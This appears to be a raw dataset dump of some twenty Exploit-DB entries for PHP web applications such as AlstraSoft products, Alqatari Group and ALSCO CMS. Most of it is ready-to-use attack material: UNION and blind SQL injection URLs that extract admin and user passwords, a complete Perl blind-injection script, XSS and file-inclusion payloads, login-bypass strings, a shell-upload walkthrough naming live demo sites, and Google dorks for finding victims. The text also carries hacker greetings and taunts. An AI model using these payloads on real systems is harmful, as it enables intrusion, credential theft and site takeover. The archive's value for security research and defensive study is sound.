deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11416
Description: Alqatari Group 1.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-02-12
Author: Red-D3v1L

Exploit:
+===================================================================================+
            ./SEC-R1Z   _ __ _  _ _ _ ___ _ _ _ _   __  _ _ _ _ _          
            / /_ _ _ _ /   _ _\/   _ _ /\        \<   |/_ _ _ _ /
            \ \_ _ _ _/  /___ /  /   __  |  |)   / |  |   /   /
             \_ _ _ _/  /___ /  /  | __ ||      /  |  |  /   /
              _______\  \_ _ \  \2_0_1_0 |      \  |  | /   /____
            /_ _ _ _ _\ _ _ _/\ _ _ _ /  |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
+===================================================================================+
 
    [?] ~ Note : sEc-r1z CrEw# r0x !
==============================================================================
    [?] Alqatari group Version 1.0 Blind SQL Injection Vulnerability
==============================================================================
    [?] My home:              [ http://sec-r1z.com ]
    [?] For Ask:              [r-d@passport.com]
    [?] Script:               [ Alqatari group Version 1.0 ]
    [?] Language:             [ PHP ]
    [?] Founder:              [ Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
    [?] n00bz :               [Zombie_KSA g0t 0wn3d hehehe n00b pakbugs zf0 ..]
########################################################################
   
===[ Exploit SQL Blind ]===

   
[»]Exploit : 

http://server/lesson.php?id=246%20and%201=1 << this true

http://server/lesson.php?id=246%20and%201=2 << this faulse


http://server/lesson.php?id=246%20and%20substring%28@@version,1,1%29=5 << this true

http://server/lesson.php?id=246%20and%20substring%28@@version,1,1%29=4 << this faulse


./Greetz For All my Frindes 


 
==============================================================================
 
#sEc-r1z.com Str1kEz y0u !
Exploit-DB #10357
Description: Alqatari group 1.0 < 5.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-08
Author: Red-D3v1L

Exploit:
      _ _ _ _  _ _ _   _ _ _ _    _ _ _    __  _ _ _ _               _____1337~h4x0rZ__   _        ___    ___
    /_/Rd_ _ /   _ _\/   _ _ /   \      \<   |/_ _   /         /\   |     \    /\  ||   \( )   /\  |  \  (| |
    \_ _ _ _/  /_ _ /  /      __ |  ()  / |  |  /   / [d0t]com/@~\  | (O) /   /+~\ ||_O_|( )  /0O\ |   \  | |
     _ _ _ _\  \_ _ \  \ _ _ _   |     \  |  | /   /_ _      /|__|\ |     \  /|__|\|| O |( ) /+__+\| ^  \ | |
   /_ _ _ _ _\ _ _ _/\ _ _ _ /   |__|\__\ |__|/_ _ _ _ _\   /\|  |/\|__|\__\( )  ( )|___/(_)/\|  |/\__\__\|_ >
       
	   
==============================================================================
        [ª] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [ª]  Alqatari group Version 1.0 <== 5.0 (id) Remote SQL Injection Vulnerability
==============================================================================
    [ª] my home:             [ http://sec-r1z.com ]
    [ª] Script:              [ Alqatari group Version 1.0 ]
    [ª] Language:            [ PHP ]
    [ª] Founder:             [ ./Red-D3v1L ]
    [ª] Gr44tz to:           [ sec-r1z# Crew - Hackteach Team - my love :$ ]
    [ª] Fuck to :            [ All LamErZ And n00bz ]
########################################################################

===[ Exploit SQL ]===  

 [ª] [Path]/lesson.php?id=[SQL]

 [ª] Live dem0 : 

http://www.site.com/lesson.php?id=-258+union+select+concat%28c_pass,0x3e,c_user%29,2,3+from+q_config


Author: Red-D3v1L <-

###########################################################################
Exploit-DB #36254
Description: Alsbtain Bulletin 1.5/1.6 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2011-10-25
Author: Null H4ck3r

Exploit:
source: https://www.securityfocus.com/bid/50350/info

Alsbtain Bulletin is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Alsbtain Bulletin 1.5 and 1.6 are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?style=[LFI]%00
http://www.example.com/index.php?act=[LFI]%00
Exploit-DB #12725
Description: ALSCO CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-24
Author: PrinceofHacking

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[x] Tybe: SQL Injection Vulnerabilities
[x] Vendor: http://www.alscosoftware.com/
[x] Script Name: ALSCO CMS
[x] author: PrinceofHacking
[x] Team: Ashiyane Digital Security Team
[x] Mail : Prince[dot]H4ck@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

D0rk: inurl:"move.php?" site:.iq


Exploit:
http://localhost/[path]/move/Show_archiv.php?id=-1
union+select+1,2,@@version,user(),5,6--

Good luck

[!]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit-DB #6087
Description: Alstrasoft Affiliate Network Pro - 'pgm' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-16
Author: Hussin X

Exploit:
|___________________________________________________|
|
|AlstraSoft Affiliate Network Pro (pgm) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.alstrasoft.com/affiliate.htm
|
| DorK   : "Affiliate Network Pro"
| DorK   : inurl:"index.php?Act=directory"
|
|___________________________________________________|

Exploit: 


www.[target].com/Script/index.php?Act=directory&joinstatus=pgmwise&pgm=-1+union+select+1,2,3,concat_ws(0x3a,admin_login,admin_password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61+from+partners_admin--

Exploit 2 :

www.[target].com/Script/index.php?Act=directory&joinstatus=pgmwise&pgm=-1+union+select+1,2,3,concat_ws(0x3a,admin_login,admin_password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45+from+partners_admin--

_____________
column_name

login
passwd
_____________



____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|  
|              Iraqihack | FAHD | mos_chori | Silic0n
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-16]
Exploit-DB #30369
Description: Alstrasoft Affiliate Network Pro 8.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-23
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/25026/info

AlstraSoft Affiliate Network Pro is affected by multiple input-validation vulnerabilities. These issues include multiple cross-site scripting isues and SQL-injection issues.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/affiliate/merchants/index.php?
Act=programedit&mode=edit&id=42"><script>alert()</script>

http://www.example.com/affiliate/merchants/index.php?Act=
programedit&mode=edit&id=42&msg=Program%20Edited%20Success
fully"><script>alert()</script>

http://www.example.com/affiliate/merchants/index.php?Act= ProgramReport&programs=All&err=Please%20Enter%20Valid%20Date "><script>alert()</script>

http://www.example.com/affiliate/merchants/index.php?Act= add_money&msg=Please%20Enter%20A%20valid%20amount"><script>alert()</script> &modofpay=Authorize.net&bankname=&bankno=& bankemail=&bankaccount=&payableto=&minimumcheck=&affiliateid=
Exploit-DB #30371
Description: Alstrasoft Affiliate Network Pro 8.0 - 'pgmid' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-23
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/25026/info
  
AlstraSoft Affiliate Network Pro is affected by multiple input-validation vulnerabilities. These issues include multiple cross-site scripting isues and SQL-injection issues.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/affiliate/merchants/index.php?Act= uploadProducts&pgmid=41%20or%201=1
Exploit-DB #30370
Description: Alstrasoft Affiliate Network Pro 8.0 - 'temp.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-23
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/25026/info
 
AlstraSoft Affiliate Network Pro is affected by multiple input-validation vulnerabilities. These issues include multiple cross-site scripting isues and SQL-injection issues.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/affiliate/merchants/temp.php?rowid= 5"><script>alert()</script>
Exploit-DB #8855
Description: Alstrasoft Article Manager Pro - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-06-02
Author: ZoRLu

Exploit:
[~] AlstraSoft Article Manager Pro Remote Shell Upload Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Author: ZoRLu
[~]
[~] Date: 02.06.2009
[~]
[~] Home: yildirimordulari.com / z0rlu.blogspot.com
[~]
[~] msn: trt-turk@hotmail.com
[~] 
[~] N0T: KPSS ananI ...
[~]
[~] N0T: if you wanna learn hack you must be register to my site yildirimordulari.com
[~] -----------------------------------------------------------

add this code you shell head:

exapmle:

GIF89a;
<?

...
...
...

?>

save you shell.php

after go here:

yildirimordulari.com/article/register.php

after select your shell.php

done register after login to site edit your profile

and you look your shell name

yildirimordulari.com/article/images/author_pics/[id].php

example demo:

http://www.blizsoft.com/article/register.php

user: salla

pass: 123a123

shell:

http://www.blizsoft.com/article/images/author_pics/41.php


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone & Stack & ThE g0bL!N & AlpHaNiX  and all friends
[~]
[~] yildirimordulari.com / dafgamers.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-06-02]
Exploit-DB #7102
Description: Alstrasoft Article Manager Pro 1.6 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-12
Author: ZoRLu

Exploit:
[~] AlstraSoft Article Manager Pro auth bypass
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 12.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 36
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit:

localhost/script/admin/admin.php

username: ' or ' 1=1--

password: ZoRLu



admin login for demo:

http://www.blizsoft.com/article/admin/admin.php

username: ' or ' 1=1--

password: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-12]
Exploit-DB #6095
Description: Alstrasoft Article Manager Pro 1.6 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-07-17
Author: GoLd_M

Exploit:
#/usr/bin/perl
#|+| Author: GoLd_M
#--//-->
# -- AlstraSoft Article Manager Pro  Blind SQL Injection Exploit --
#--//--> Exploit :
use strict;
use LWP::Simple;

print "-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-\n";
print "-    AlstraSoft Article Manager Pro  Blind SQL Injection Exploit   -\n";
print "                     GoLd_M Mahmood_ali Tryag.cc/cc                 \n";
print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n";

print "\nEnter URL (ie: http://server.com): ";
	chomp(my $url=<STDIN>);
	
if(inject_test($url)) {
	print "Injecting.. Please Wait this could take several minutes..\n\n";
	my $details = blind($url);
	print "Exploit Success! Admin Details: ".$details;
	exit;
}

sub blind {

	my $url    = shift;
	my $res    = undef;
	my $chr    = 48;
	my $substr = 1;
	my $done   = 1;
	
	while($done) {
		my $content = get($url."/contact_author.php?userid=1)  and ascii(substring((SELECT CONCAT(username,0x3a,password,0x5E) FROM 
mysql.user),".$substr.",1))=".$chr."/*");
		
		if($content =~ /Previous/ && $chr == 94) { $done = 0; }
			elsif($content =~ /Previous/) { $res .= chr($chr); $substr++; $chr = 48; }
				else { $chr++; }
	}
	return $res;
}

sub inject_test {

	my $url     = shift;
	my $true    = get($url."/contact_author.php?userid=1) and 1=1 /*");
	my $false   = get($url."/contact_author.php?userid=1) and 1=2 /*");
	
	if($true =~ /Previous/ && $false !~ /Previous/) {
		print "\nTarget Site Vulnerable!\n\n";
		return 1;
	} else { print "\nTarget Site Not Vulnerable! Exiting..\n"; exit; }
}

# milw0rm.com [2008-07-17]
Exploit-DB #14986
Description: Alstrasoft AskMe Pro 2.1 - 'profile.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-09-12
Author: CoBRa_21

Exploit:
########################################################################################
AlstraSoft AskMe Pro ( profile.php?id ) SQL Injection Vulnerability 
########################################################################################

Author : CoBRa_21
Author Web Page : null [ I've sold my website (ipbul.org) ]
Dork : inurl:forum_answer.php?que_id
Script Page : http://www.alstrasoft.com/

########################################################################################
 
Sql Injection :

http://localhost/[path]/profile.php?id=-5 union select 0,group_concat(username,0x3a,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from+expert

########################################################################################
Thanks cyber-warrior.org  &  e-banka.org & AKINCILAR & ipbul.org
########################################################################################
Exploit-DB #12372
Description: Alstrasoft AskMe Pro 2.1 - 'que_id' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-24
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
         AskMe Pro 2.1 (que_id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: April, 24-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: AlstraSoft AskMe Pro
Vendor  	: http://www.alstrasoft.com/
Price		: $99.99 USD
Google Dork	: allinurl:forum_answer.php?que_id=
Overview	:

AskMe Pro is an expert knowledge management system that allows site owners to 
setup an expert advice service similar to highly popular sites like Google Answers,
Yahoo Answers and Kasamba.com
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+1,2,3,4,group_concat(username,char(58),password)v3n0m,6,7,8,9,10+from+expert--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/forum_answer.php?que_id=[SQLi]

----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (banting setir dari tukang martabak jd distributor chiki,stress sampe cukur rambut,jembut cukur ur)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;)
- elicha cristia [ luv You...luv You...luv You... :) ]
- N.O.C & Technical Support @office
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
	  http://v3n0m.blogdetik.com/
	  http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]--------------------------------
Exploit-DB #5821
Description: Alstrasoft AskMe Pro 2.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-06-14
Author: t0pP8uZz

Exploit:
-[*]+================================================================================+[*]-
-[*]+		  AlstraSoft AskMe Pro <= 2.1 SQL Injection Vulnerabilitys	     +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 10 JUNE 2008
[*] Script Download: http://alstrasoft.com/askme.htm
[*] DORK: "Powered By AlstraSoft AskMe Pro"



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

	AskMe Pro suffers from a insecure mysql query, this allows the remote attacker to view
	all users and there plaintext passwords.

	the injection is multirow so it should show all users on one page.



[*] SQL Injection:

	multi-row: http://site.com/forum_answer.php?que_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,concat(username,0x3a,password),6,7,8,9,10/**/FROM/**/expert/*
	normal:    http://site.com/profile.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/FROM/**/expert/**/LIMIT/**/0,1/*



[*] NOTE/TIP: 

	admin login is at /admin/
	passwords are in plaintext


[*] GREETZ: 

	milw0rm.com, h4ck-y0u.org, CipherCrew, Offensive-Security.com !



[-] peace, 

	t0pP8uZz



-[*]+================================================================================+[*]-
-[*]+		  AlstraSoft AskMe Pro <= 2.1 SQL Injection Vulnerabilitys	     +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-06-14]
Exploit-DB #41243
Description: Alstrasoft e-Friends 5.12 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: AlstraSoft E-Friends v5.12 Script - SQL Injection
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/efriends.htm
# Demo: http://alstrahost.com/friends/
# Version: 5.12
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php?mode=forums&act=viewcat&seid=[SQL]
# http://localhost/[PATH]/index.php?mode=forums&act=viewforum&cats=[SQL]
# http://localhost/[PATH]/index.php?mode=forums&act=viewforum&cats=131&seid=[SQL]
# # # # #
Exploit-DB #18207
Description: Alstrasoft EPay Enterprise 4.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-12-06
Author: Don

Exploit:
############################################################################
# Exploit Title: *AlstraSoft EPay Enterprise v4.0 Blind SQL Injection*
# Google Dork: *Copyright @ 2010 iPayGold.com*
# Date: *Decembar/6/2011*
# Author: *Don (BalcanCrew & BalcanHack)*
# Software Link: *http://www.alstrasoft.com/epay_enterprise.htm*
# Version: *4.0*
# Tested on: *Apache/1.3.37*
############################################################################
# An attacker may execute arbitrary SQL statements on the vulnerable
system.
# This may compromise the integrity of your database and/or expose
sensitive information.
# Depending on the back-end database in use,
# SQL injection vulnerabilities lead to varying levels of data/system
access for the attacker.
# It may be possible to not only manipulate existing queries, but to UNION
in arbitrary data,
# use subselects, or append additional queries. In some cases,
# it may be possible to read in or write out to files, or to execute shell
commands on the underlying operating system.
# Certain SQL Servers such as Microsoft SQL Server contain stored and
extended procedures (database server functions).
# If an attacker can obtain access to these procedures it may be possible
to compromise the entire machine.
############################################################################
Attack details:

URL encoded GET input product was set to 11-2+2*3-6

*Vulnerability:*
http://server/process.htm?action=product&member=justme&product=11-2%2b2*3-6&send=yes

*How to fix this vulnerability:*
Script should filter metacharacters from *user input*.

*Don*
Exploit-DB #41241
Description: Alstrasoft EPay Enterprise 5.17 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Alstrasoft EPay Enterprise v5.17 Script - SQL Injection
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/epay_enterprise.htm
# Demo: http://blizsoft.com/enterprise/
# Version: 5.17
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/members/userinfo.htm?id=[SQL]
# http://localhost/[PATH]/members/products.htm?id=[SQL]&action=update
# http://localhost/[PATH]/members/subscriptions.htm?id=[SQL]&action=update
# Authentication Bypass :
# http://localhost/[PATH]/members/login.htm and set Username:'or''=' and Password to 'or''=' and hit enter.
# # # # #